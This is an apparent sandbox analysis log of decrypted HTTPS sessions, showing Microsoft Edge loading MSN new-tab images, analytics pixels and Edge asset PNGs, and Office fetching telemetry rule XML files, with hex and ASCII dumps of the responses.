2024-11-28 16:24:50 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=395376 Expires: Tue, 03 Dec 2024 06:14:25 GMT Date: Thu, 28 Nov 2024 16:24:49 GMT Connection: close
2024-11-28 16:24:50 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49895	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:50 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=205366 Expires: Sun, 01 Dec 2024 01:27:36 GMT Date: Thu, 28 Nov 2024 16:24:50 GMT Connection: close
2024-11-28 16:24:50 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49893	18.173.132.98	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:49 UTC	1012	OUT	GET /b2?rn=1732811086500&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1066DAF9585D62E900DBCFBC59D76315&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=12A156e59c91d378cad2d461732811087; XID=12A156e59c91d378cad2d461732811087
2024-11-28 16:24:50 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 28 Nov 2024 16:24:50 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 1dbafa627b28576f280c85d24d02a0c2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P2 X-Amz-Cf-Id: 1QjA74xq4z2xSYB4ZM1fIeM2wCmK5XzcpUDi5qnUxyjr1XHist9krw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49900	20.110.205.119	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:50 UTC	1261	OUT	GET /c.gif?rnd=1732811086499&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f5a2df3829bf4c42a594bcf88806289c&activityId=f5a2df3829bf4c42a594bcf88806289c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=3B8196D966C04A3AA846975A0C82F7DA&MUID=1066DAF9585D62E900DBCFBC59D76315 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1066DAF9585D62E900DBCFBC59D76315; _EDGE_S=F=1&SID=31FAC44C433767CB3D7FD10942AB66BB; _EDGE_V=1; SM=T
2024-11-28 16:24:50 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1066DAF9585D62E900DBCFBC59D76315; domain=.msn.com; expires=Tue, 23-Dec-2025 16:24:50 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1066DAF9585D62E900DBCFBC59D76315; domain=c.msn.com; expires=Tue, 23-Dec-2025 16:24:50 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 05-Dec-2024 16:24:50 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 28-Nov-2024 16:34:50 GMT; path=/; SameSite=None; Secure; Date: Thu, 28 Nov 2024 16:24:50 GMT Connection: close Content-Length: 42
2024-11-28 16:24:50 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49898	104.117.182.59	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:50 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:51 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=103851 Expires: Fri, 29 Nov 2024 21:15:42 GMT Date: Thu, 28 Nov 2024 16:24:51 GMT Connection: close
2024-11-28 16:24:51 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49901	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:51 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: d6b9125f-901e-000f-61b2-4185f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162451Z-174f7845968zgtf6hC1EWRqd8s0000000rkg00000000c8mr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49902	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:51 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162451Z-174f78459688l8rvhC1EWRtzr00000000bb00000000034c7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162451Z-174f7845968kdththC1EWRzvxn0000000b3g0000000034bk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49899	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:51 UTC	543	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 915fc15d-601e-0011-4de1-405f1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162451Z-174f7845968xlwnmhC1EWR0sv80000000yh00000000077gd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 704560f5-901e-0067-514e-41b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162451Z-174f7845968n2hr8hC1EWR9cag0000000y9000000000cmmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162451Z-174f78459688l8rvhC1EWRtzr00000000b900000000088nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
